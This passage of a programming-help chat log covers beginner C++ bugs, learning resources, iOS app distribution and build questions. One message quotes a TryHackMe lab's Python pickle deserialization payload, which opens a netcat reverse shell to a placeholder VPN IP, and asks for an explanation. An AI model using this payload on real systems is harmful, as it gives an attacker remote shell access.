  Commands.at(name)(args);
}

that way when you call the ExecuteCommand method it won't make a whole new copy of the string without needing to

[cold cloak]

Oh damn, I don’t mind the criticism, it’s better to learn the correct way early on. Thank you for this education 🙏 I think I need to watch some more of my c++ course 😂 I’m basically just throwing shit together at this point

[hollow tangle]

...throwing shit together at this point
Honestly that's the state of modern C++ nowadays

[cold cloak]

Haha, thankfully I only program as a hobby

[tight island]

i guess you'll have to add the repositories for those missing packages in etc/apt/sources.list and then maybe try running the install script, not completely sure.

[dapper radish]

website im working on need some backend work I want users to be able to share music files in one page, and in another i want users to be able to share artwork

[brazen eagle]

You know, I hate it when people say this and proceed to not show what they did to make it work.

[cold cloak]

Well, actually I thought I got it working, but I didn’t

As soon as I add arguments to the “agent::upload” function it fails to compile even though I also add to the map and other required parts

[brazen eagle]

Oh

You're telling the compiler that the function has no params though

Assuming I'm reading the docs correctly

Unless the bind is currying in the argument

https://en.cppreference.com/w/cpp/utility/functional/bind

[brazen eagle]

There seem to be placeholders in the bind if you need to pass arguments

[cold cloak]

Yeah I saw that but unfortunately I don’t think it’ll work for how I want it to work

[verbal haven]

Anyone knows why content >> file

Would delete the content of “file”? When it should append.
Is it because I don’t have an end of line character at the end?

[brazen eagle]

you sure it's not something else causing issues?

[sly breach]

Hello

Does anyone have good resources for applying C / solving problems for beginners? I'm struggling to fidn stuff. I've been doing courses that teach it, but they just teach and don't get you to actually apply it very well

The "applying" part is what I'm struggling with. I know what it is that I need to do to solve a problem. Or if I'm given some code I can understand its logic to a degree. But it's just actually writing it to solve a problem or do a task I'm struggling with

[hollow tangle]

Unfortunately you're not gonna find many resources on applying C due to the fact that C is very old and also with C it requires a lot of code to do something "functional" and there aren't any libraries which can assist you unlike languages such as python where you have requests and flask this allows beginners to get setup with projects that have some sort of usefulness as for C, it really comes down to just writing it until it starts to become familiar and working on small projects such as guessing games there's no such thing as a project too "simple" in order to get good enough for working on larger projects confidently you have to build up to it

[tulip ibex]

@sly breach

Programming Tasks (with solutions in all languages) - Rosettacode

• Offensive Programming with Challenges - Zeyad-Azime Github

dis is what i got

[hollow tangle]

If you're still having trouble you can shoot me a DM

[cold cloak]

I will actually, thank you

[wispy kestrel]

Gave +1 Rep to @hollow tangle

[kind igloo]

hi, can I have some explanation on this RCE, pls? mentioned in top10OWASP room . task 26

import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'
class rce(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))
print(base64.b64encode(pickle.dumps(rce())))```

[heavy rampart]

https://davidhamann.de/2020/04/05/exploiting-python-pickle/
This blog might help you understand.

[fickle siren]

https://exercism.org/

Some good C exercises in there

[proven crystal]

oh ty so much, i wanted to start programming one day, but i don't found any good way to learn

[magic falcon]

https://www.codewars.com/

[stone kayak]

check pins

https://binarysearch.com/
https://leetcode.com/
https://projecteuler.net/
https://www.hackerrank.com/
https://exercism.io/
https://www.codewars.com/
https://codeforces.com/
https://www.coderbyte.com/
https://adventofcode.com/
https://www.topcoder.com/

smh

[tulip ibex]

😔

[naive tartan]

I don’t suppose i would be able to pay anyone to make a simple 2 person iPhone app for me would they? Lol. Not sure if this is appropriate to ask but

I probably should just lean myself but man idk anything

[magic falcon]

One doesn't just 'make an app for iPhone'

https://tenor.com/view/facepalm-lotr-mordor-boromir-sean-bean-gif-4697009

To distribute the app to non-rooted phones, a developer has to have an Apple-approved developer account, which has a stupid fee for maintenance every year. The process to get that dev account approved, last I heard, was 6-24 months. Additional requirements are a total buy-in to the iPhone ecosystem, including a mac for development, as the tools don't run anywhere else.

[naive tartan]

🤨

I hate having an iPhone. I should have never switched

[naive tartan]

Thank you for the info though

[wispy kestrel]

Gave +1 Rep to @magic falcon

[naive tartan]

To android you just plug your phone into your pc and turn on usb debugging, it was so easy

[crystal light]

Also 100$

[naive tartan]

Ew

[brazen eagle]

well, technically there are cross-platform frameworks

[tame gyro]

Hey, does anyone has an idea why in my local maven swagger-repository an artifact gets removed whenever I try to "mvn install" a specific other one? (same happens when I install the other one, then the first one gets removed)

[magic falcon]

Yeah, but to get the app on the store, you need the approved account. Side loading apps is way more difficult. And the 3rd party frameworks usually have a license, when the toolchain isn't built around xcode

[brazen eagle]

True

[rancid panther]

can someone help me with a c++ coding problem?

using namespace std;

double CalcPyramidVolume (double baseLength, double baseWidth, double pyramidHeight){

double baseArea = baseLength*baseWidth;
double CalcPyramidVolume= 1/3*baseArea*pyramidHeight;

return CalcPyramidVolume;
}
int main() {
   double userLength;
   double userWidth;
   double userHeight;

   cin >> userLength;
   cin >> userWidth;
   cin >> userHeight;

   cout << "Volume: " << CalcPyramidVolume(userLength, userWidth, userHeight) << endl;

   return 0;
}

"Define a function CalcPyramidVolume with double data type parameters baseLength, baseWidth, and pyramidHeight, that returns as a double the volume of a pyramid with a rectangular base. Relevant geometry equations:
Volume = base area x height x 1/3
Base area = base length x base width.
(Watch out for integer division)."

above is my code, not sure what i did wrong but i keep getting 0 as an output

[onyx merlin]

Your function and the variable are the same name, weird

Also this looks like homework. Ask your teacher.

[rancid panther]

it is homework

so I can't have the function variable twice?

[onyx merlin]

double CalcPyramidVolume= 1/3*baseArea*pyramidHeight;

return CalcPyramidVolume;```
You could do all of those in one line surely.

[rancid panther]

I'm confused on how that would fix my error

[leaden berry]

try renaming your CalcPyramidVolume variable or make it look more like math

(which would be f(x) = 1/3 * L * W * H )

[rancid panther]

ok, do you also know how to cout " perhaps?

like when i do cout << """ << endl; i get an error

[leaden berry]

not one clue - I don't speak C++. I'm guessing you can escape the character and it'll work

(if in doubt, write your literal question in the google search field)

[rancid panther]

ive tried lol, surprisingly no results

[leaden berry]

https://www.cplusplus.com/forum/beginner/2355/ literally the first hit for the question c++ how to print quotes

[rancid panther]

wtf

i searched" how to output " in c++" in 20 different variations

[leaden berry]

😄

[rancid panther]

thank you anyways

[leaden berry]

No problem. Learning what to ask Google is a super important skill in this field

You'll get there

[brazen eagle]

I'm gonna guess that it's not going to like your local variable having the same name as the function as well

[rancid panther]

I'm not sure, im just getting 0 as an output no matter what

[magic falcon]

Carefully reread the warnings your instructor gave you, and then review your code.

[brazen eagle]

haven't done C++ in a while, I remember doubles being a bit of a pain. Are you sure your inputs are being taken in properly?

oh bloody hell Juun is right

[rancid panther]

I'll try that, thanks

[brazen eagle]

your math isn't wrong from a human standpoint.

it's more that the compiler is making certain hidden assumptions

that you were told to watch out for

[onyx merlin]

It doesn't directly, it makes the code more legible and easier to troubleshoot

[magic falcon]

It's just a preference of style. For really complicated formulas, breaking it down into function calls or individual steps can make it significantly easier to read. In terms of performance, it's a negligible difference. Compiler optimization will more than likely reduce multiple lines to to the same instructions as the one-liner.

[onyx merlin]

If it's a straightforward formula with good variable names, it's weird to break it

[brazen eagle]

I'd argue that splitting it makes it a bit more clear, but to each their preferences

[winged magnet]

any android studio expert need help in jdbc mysql connection.

[onyx merlin]

Just ask directly.

[winged magnet]

okay i need help in which version jar file i import for connection with my mysql server as i m using android studio 4.1.2 version